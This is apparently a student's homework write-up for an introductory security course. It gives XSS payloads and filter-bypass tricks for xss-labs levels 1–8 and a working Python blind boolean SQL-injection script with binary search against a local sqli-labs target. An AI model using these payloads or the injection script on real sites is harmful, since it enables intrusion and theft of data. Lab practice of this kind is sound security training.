初级安全课第二次作业

(一)xss-labs 1~8关

1、前期准备

(1)打开小皮面板,并启动Apache和MySQL

(2)将 xss-labs放到 phpstudy_pro 的 WWW 目录下

(3)访问连接:http://localhost/xss-labs/

LEVEL1:

name=test可以在页面中直接显示,所以可以直接尝试将其字段改写为简单的触发脚本:

html 复制代码
name=<script>alert(123)</script>

闯关成功

LEVEL2:

直接尝试注入触发脚本没有成功,但是知道了注入之后会在哪输出,所以需要在输出的地方把多余的部分处理一下,确保触发脚本的可执行性

html 复制代码
"><script>alert(123)</script>//

用">将左边多余的语句闭合,再用//把右边多余的">注释

闯关成功

LEVEL3:

第三关尝试与上一关相同解法,发现使用"<>等符号无效使其无法闭合,查看原代码

发现使用了htmlspecialchars函数,经过查询发现此函数能将特殊字符转换实体化,但是'并没有被实体化。

对次我们可以使用onclick事件绕过。onclick 是 HTML 中常用的事件处理属性,当元素被点击时触发。

'οnclick='alert(123)

用' '将前面闭合

点击"搜索后"再点击搜索框即闯关成功

LEVEL4:

同上一关一样,只是闭合方式有所区别:

"οnclick='alert(123)'

LEVEL5:

输入payload发现进行了敏感词注释(在敏感词的某个字母后面加入了_)

查看源代码:

发现不让我们用script和有on字母的方法

那我们可以使用a href(超链接)的方法进行尝试

要想写新的标签需要闭合前面的标签

然后点击超链接"xxx"即可

LEVEL6:

同上一关,不让用script和on

尝试上一关过法,发现a href标签无效

查看原代码:

发现data和href标签被禁用,但是大小写没有被禁用,可尝试使用大写绕过

闯关成功

LEVEL7:

这关直接把相关字母全部消除(比如script和on)

查看源代码,发现敏感词被替换成了" "

我们尝试双写:

闯关成功

LEVEL8:

这一关将输入框的内容传到了a href标签

我们可以尝试JavaScript伪代码:

javascript:alert(123)

输入后发现有敏感词处理,因为输入的内容是在a href标签中,所以我们可以尝试将敏感词编码后再输入,看看能不能绕过

使用编码工具编码后输入并点击友情链接:

javascript:alert(123)

闯关成功

(二)python实现自动化sql布尔育注代码优化(二分查找)

1、代码

python 复制代码
import requests
 
# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"
 
# 要推断的数据库信息(例如:数据库名)
database_name = ""
 
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "
 
# 推断数据库名的长度
def get_database_length():
    length = 0
    while True:
        length += 1
        payload = f"1' AND (SELECT length(database()) = {length}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return length
        if length > 50:  # 防止无限循环
            break
    return 0
 
# 使用二分查找推断数据库名
def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        left, right = 0, len(charset) - 1
        while left <= right:
            mid = (left + right) // 2
            char = charset[mid]
            payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "
            response = requests.get(url, params={"id": payload})
            if "You are in" in response.text:
                left = mid + 1
            else:
                right = mid - 1
        db_name += charset[right]
    return db_name
 
# 主函数
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")

2、输出结果

完成

相关推荐
NaclarbCSDN8 分钟前
How Web servers work
安全
未知鱼22 分钟前
Python安全开发之简易whois查询
java·python·安全
十月南城26 分钟前
安全与合规检查表——隐私、审计与日志合规的关键条款与落地建议
安全
NaclarbCSDN1 小时前
How website works
安全
智塑未来1 小时前
浙江润鑫STW-18汽车轮重测量仪 稳定可靠守护车辆运行安全
安全·汽车
科技圈快讯1 小时前
浙江润鑫轴线车超载汽车检测秤:高精度检测,守护道路与车辆安全
安全·汽车
亿坊电商1 小时前
免费开源商用CMS-亿坊企业建站系统|稳定+安全+易用!
安全·开源·cms
kishu_iOS&AI10 小时前
Conda 简要说明与常用指令
python·安全·conda
wal131452011 小时前
Dify发布V1.13.1版本,Hologres 向量数据库支持、HITL 邮件 Markdown 渲染及多项安全加固
数据库·安全·dify
陈天伟教授12 小时前
人工智能应用- 预测新冠病毒传染性:04. 中国:强力措施遏制疫情
前端·人工智能·安全·xss·csrf